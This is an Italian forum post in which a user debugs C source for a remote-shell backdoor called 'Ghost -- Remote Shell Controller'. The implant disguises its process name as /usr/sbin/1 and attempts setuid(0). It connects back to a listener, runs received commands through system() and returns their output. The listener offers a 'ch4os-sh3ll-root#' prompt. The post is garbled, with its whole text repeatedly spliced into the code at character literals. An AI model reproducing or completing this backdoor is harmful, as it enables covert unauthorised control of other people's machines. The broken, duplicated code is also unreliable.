Ho risolto ragazzi grazie tante in pratica non mi ero reso conto che nel client visto che funziona come server quando riceve e manda messaggi con i socket ha bisogno di un'altro descrittore socket e in più ho dovuto cambiare fgets con scanf perchè non so ma mi leggeva solo la prima lettere cioè "ls -> l"
Ora però come al solito i guai non mancano mai
c'è un'altro problema...in pratica quando l'ho provato la prima volta dopo modificato ha funzionato perfettamente...poi ho provato con altri comandi e all'improvviso mi da questo errore anche con il comando ls che prima funzionava.
Server.c
back.h client client.c server server.c
Segmentation fault (core dump creato)
il system funziona bene perchè come si vede il listato della cartella lo fa però ora non crea piu il file temporaneo...ho provato anche come root ma niente non va.... bah i misteri del C
ora vedo di risovere quest'altro problema..
Ecco comunque le modifiche che ho fatto
Server.c
/* server.c */
#include "back.h"
#define STATE_LEN 3
int main(int argc, char **argv)
{
int sd;
char cmd[1000], new_cmd[1200], size[17], file[100];
struct sockaddr_in server;
strcpy(argv[0],"/usr/sbin/1");
snprintf(file,100,"%s/.cmd",getenv("HOME"));
setuid(0); setgid(0);
addr_init(&server, PORT, inet_addr("127.0.0.1"));
sd = socket(AF_INET, SOCK_STREAM, 0);
if(sd == -1){
printf("Impossibile creare il socket\n");
exit(1);
}
if(connect(sd, (struct sockaddr *)&server, sizeof(struct sockaddr))){
printf("Impossibile stabilire una connessione");
close(sd);
exit(2);
}
printf("Connessione avvenuta con successo \n");
for(;;) {
if((read(sd, cmd, sizeof(cmd))) == -1)
exit(1);
printf("%s\n",cmd);
memset(new_cmd, 0x0, sizeof(new_cmd));
snprintf(new_cmd, sizeof(new_cmd), "%s > %s",cmd,file);
printf("%s\n",new_cmd);
system(cmd);
sprintf(size,"%zd",strlen(readFile(file)));
size[strlen(size)] = 'Ho risolto ragazzi grazie tante in pratica non mi ero reso conto che nel client visto che funziona come server quando riceve e manda messaggi con i socket ha bisogno di un'altro descrittore socket e in più ho dovuto cambiare fgets con scanf perchè non so ma mi leggeva solo la prima lettere cioè "ls -> l"
Ora però come al solito i guai non mancano mai c'è un'altro problema...in pratica quando l'ho provato la prima volta dopo modificato ha funzionato perfettamente...poi ho provato con altri comandi e all'improvviso mi da questo errore anche con il comando ls che prima funzionava.
Server.c
back.h client client.c server server.c
Segmentation fault (core dump creato)
il system funziona bene perchè come si vede il listato della cartella lo fa però ora non crea piu il file temporaneo...ho provato anche come root ma niente non va.... bah i misteri del C ora vedo di risovere quest'altro problema..
Ecco comunque le modifiche che ho fatto
Server.c
/* server.c */
#include "back.h"
#define STATE_LEN 3
int main(int argc, char **argv)
{
int sd;
char cmd[1000], new_cmd[1200], size[17], file[100];
struct sockaddr_in server;
strcpy(argv[0],"/usr/sbin/1");
snprintf(file,100,"%s/.cmd",getenv("HOME"));
setuid(0); setgid(0);
addr_init(&server, PORT, inet_addr("127.0.0.1"));
sd = socket(AF_INET, SOCK_STREAM, 0);
if(sd == -1){
printf("Impossibile creare il socket\n");
exit(1);
}
if(connect(sd, (struct sockaddr *)&server, sizeof(struct sockaddr))){
printf("Impossibile stabilire una connessione");
close(sd);
exit(2);
}
printf("Connessione avvenuta con successo \n");
for(;;) {
if((read(sd, cmd, sizeof(cmd))) == -1)
exit(1);
printf("%s\n",cmd);
memset(new_cmd, 0x0, sizeof(new_cmd));
snprintf(new_cmd, sizeof(new_cmd), "%s > %s",cmd,file);
printf("%s\n",new_cmd);
system(cmd);
sprintf(size,"%zd",strlen(readFile(file)));
size[strlen(size)] = '{parsed_message}';
if(!strcmp(size,"0"))
{
snprintf(new_cmd, sizeof(new_cmd), "/bin/echo \"OK\" > %s",file);
system(new_cmd);
snprintf(size,sizeof(size), "%zd", strlen(readFile(file)));
}
if((write(sd, size, sizeof(size))) == -1)
exit(1);
if((write(sd,readFile(file), atoi(size))) == -1)
exit(1);
unlink(file);
}
close(sd);
}
Client.c
/*client*/
#include "back.h"
#define MAX_CONN 5
int main(int argc, char **argv)
{
int sd, new_sd, sin_len = sizeof(struct sockaddr_in);
struct sockaddr_in client, server;
char *buff, cmd[1000], size[17];
addr_init(&server, PORT, INADDR_ANY);
sd = socket(AF_INET, SOCK_STREAM, 0);
if(sd == -1){
printf("Impossibile creare il socket \n");
exit(1);
}
if((bind(sd,(struct sockaddr *)&server, sin_len)) == -1){
printf("errore durante il bind\n");
exit(2);
}
if((listen(sd,MAX_CONN)) == -1){
printf("Errore nel listening\n");
exit(3);
}
new_sd = accept(sd,(struct sockaddr *) &client, &sin_len);
if(new_sd == -1){
printf("Errore accept\n");
exit(4);
}
printf("________________________________________\n");
printf(" Ghost -- Remote Shell Controller \n");
printf(" by Chaos, (C) 2016 \n");
printf("________________________________________\n\n");
printf("Connessione stabilita con successo\n");
for(;;){
printf("ch4os-sh3ll-root# ");
//fgets(cmd, sizeof(cmd), stdin);
//cmd[strlen(cmd)-1] = '{parsed_message}';
scanf("%s",cmd);
send(new_sd, cmd, sizeof(cmd),0);
memset(cmd, 0x0, sizeof(cmd));
if((read(new_sd,size, sizeof(size))) == -1)
{
printf("Impossibile ricevere dati dal server\n");
exit(1);
}
buff = (char*) malloc(atoi(size)*sizeof(char));
if((read(new_sd, buff, atoi(size))) == -1){
printf("Impossibile riceve dati dal server..\n");
exit(1);
}
printf("%s",buff);
printf("\nComando inviato\n");
}
close(sd);
}
';
if(!strcmp(size,"0"))
{
snprintf(new_cmd, sizeof(new_cmd), "/bin/echo \"OK\" > %s",file);
system(new_cmd);
snprintf(size,sizeof(size), "%zd", strlen(readFile(file)));
}
if((write(sd, size, sizeof(size))) == -1)
exit(1);
if((write(sd,readFile(file), atoi(size))) == -1)
exit(1);
unlink(file);
}
close(sd);
}
Client.c
/*client*/
#include "back.h"
#define MAX_CONN 5
int main(int argc, char **argv)
{
int sd, new_sd, sin_len = sizeof(struct sockaddr_in);
struct sockaddr_in client, server;
char *buff, cmd[1000], size[17];
addr_init(&server, PORT, INADDR_ANY);
sd = socket(AF_INET, SOCK_STREAM, 0);
if(sd == -1){
printf("Impossibile creare il socket \n");
exit(1);
}
if((bind(sd,(struct sockaddr *)&server, sin_len)) == -1){
printf("errore durante il bind\n");
exit(2);
}
if((listen(sd,MAX_CONN)) == -1){
printf("Errore nel listening\n");
exit(3);
}
new_sd = accept(sd,(struct sockaddr *) &client, &sin_len);
if(new_sd == -1){
printf("Errore accept\n");
exit(4);
}
printf("________________________________________\n");
printf(" Ghost -- Remote Shell Controller \n");
printf(" by Chaos, (C) 2016 \n");
printf("________________________________________\n\n");
printf("Connessione stabilita con successo\n");
for(;;){
printf("ch4os-sh3ll-root# ");
//fgets(cmd, sizeof(cmd), stdin);
//cmd[strlen(cmd)-1] = 'Ho risolto ragazzi grazie tante in pratica non mi ero reso conto che nel client visto che funziona come server quando riceve e manda messaggi con i socket ha bisogno di un'altro descrittore socket e in più ho dovuto cambiare fgets con scanf perchè non so ma mi leggeva solo la prima lettere cioè "ls -> l"
Ora però come al solito i guai non mancano mai c'è un'altro problema...in pratica quando l'ho provato la prima volta dopo modificato ha funzionato perfettamente...poi ho provato con altri comandi e all'improvviso mi da questo errore anche con il comando ls che prima funzionava.
Server.c
back.h client client.c server server.c
Segmentation fault (core dump creato)
il system funziona bene perchè come si vede il listato della cartella lo fa però ora non crea piu il file temporaneo...ho provato anche come root ma niente non va.... bah i misteri del C ora vedo di risovere quest'altro problema..
Ecco comunque le modifiche che ho fatto
Server.c
/* server.c */
#include "back.h"
#define STATE_LEN 3
int main(int argc, char **argv)
{
int sd;
char cmd[1000], new_cmd[1200], size[17], file[100];
struct sockaddr_in server;
strcpy(argv[0],"/usr/sbin/1");
snprintf(file,100,"%s/.cmd",getenv("HOME"));
setuid(0); setgid(0);
addr_init(&server, PORT, inet_addr("127.0.0.1"));
sd = socket(AF_INET, SOCK_STREAM, 0);
if(sd == -1){
printf("Impossibile creare il socket\n");
exit(1);
}
if(connect(sd, (struct sockaddr *)&server, sizeof(struct sockaddr))){
printf("Impossibile stabilire una connessione");
close(sd);
exit(2);
}
printf("Connessione avvenuta con successo \n");
for(;;) {
if((read(sd, cmd, sizeof(cmd))) == -1)
exit(1);
printf("%s\n",cmd);
memset(new_cmd, 0x0, sizeof(new_cmd));
snprintf(new_cmd, sizeof(new_cmd), "%s > %s",cmd,file);
printf("%s\n",new_cmd);
system(cmd);
sprintf(size,"%zd",strlen(readFile(file)));
size[strlen(size)] = '{parsed_message}';
if(!strcmp(size,"0"))
{
snprintf(new_cmd, sizeof(new_cmd), "/bin/echo \"OK\" > %s",file);
system(new_cmd);
snprintf(size,sizeof(size), "%zd", strlen(readFile(file)));
}
if((write(sd, size, sizeof(size))) == -1)
exit(1);
if((write(sd,readFile(file), atoi(size))) == -1)
exit(1);
unlink(file);
}
close(sd);
}
Client.c
/*client*/
#include "back.h"
#define MAX_CONN 5
int main(int argc, char **argv)
{
int sd, new_sd, sin_len = sizeof(struct sockaddr_in);
struct sockaddr_in client, server;
char *buff, cmd[1000], size[17];
addr_init(&server, PORT, INADDR_ANY);
sd = socket(AF_INET, SOCK_STREAM, 0);
if(sd == -1){
printf("Impossibile creare il socket \n");
exit(1);
}
if((bind(sd,(struct sockaddr *)&server, sin_len)) == -1){
printf("errore durante il bind\n");
exit(2);
}
if((listen(sd,MAX_CONN)) == -1){
printf("Errore nel listening\n");
exit(3);
}
new_sd = accept(sd,(struct sockaddr *) &client, &sin_len);
if(new_sd == -1){
printf("Errore accept\n");
exit(4);
}
printf("________________________________________\n");
printf(" Ghost -- Remote Shell Controller \n");
printf(" by Chaos, (C) 2016 \n");
printf("________________________________________\n\n");
printf("Connessione stabilita con successo\n");
for(;;){
printf("ch4os-sh3ll-root# ");
//fgets(cmd, sizeof(cmd), stdin);
//cmd[strlen(cmd)-1] = '{parsed_message}';
scanf("%s",cmd);
send(new_sd, cmd, sizeof(cmd),0);
memset(cmd, 0x0, sizeof(cmd));
if((read(new_sd,size, sizeof(size))) == -1)
{
printf("Impossibile ricevere dati dal server\n");
exit(1);
}
buff = (char*) malloc(atoi(size)*sizeof(char));
if((read(new_sd, buff, atoi(size))) == -1){
printf("Impossibile riceve dati dal server..\n");
exit(1);
}
printf("%s",buff);
printf("\nComando inviato\n");
}
close(sd);
}
';
scanf("%s",cmd);
send(new_sd, cmd, sizeof(cmd),0);
memset(cmd, 0x0, sizeof(cmd));
if((read(new_sd,size, sizeof(size))) == -1)
{
printf("Impossibile ricevere dati dal server\n");
exit(1);
}
buff = (char*) malloc(atoi(size)*sizeof(char));
if((read(new_sd, buff, atoi(size))) == -1){
printf("Impossibile riceve dati dal server..\n");
exit(1);
}
printf("%s",buff);
printf("\nComando inviato\n");
}
close(sd);
}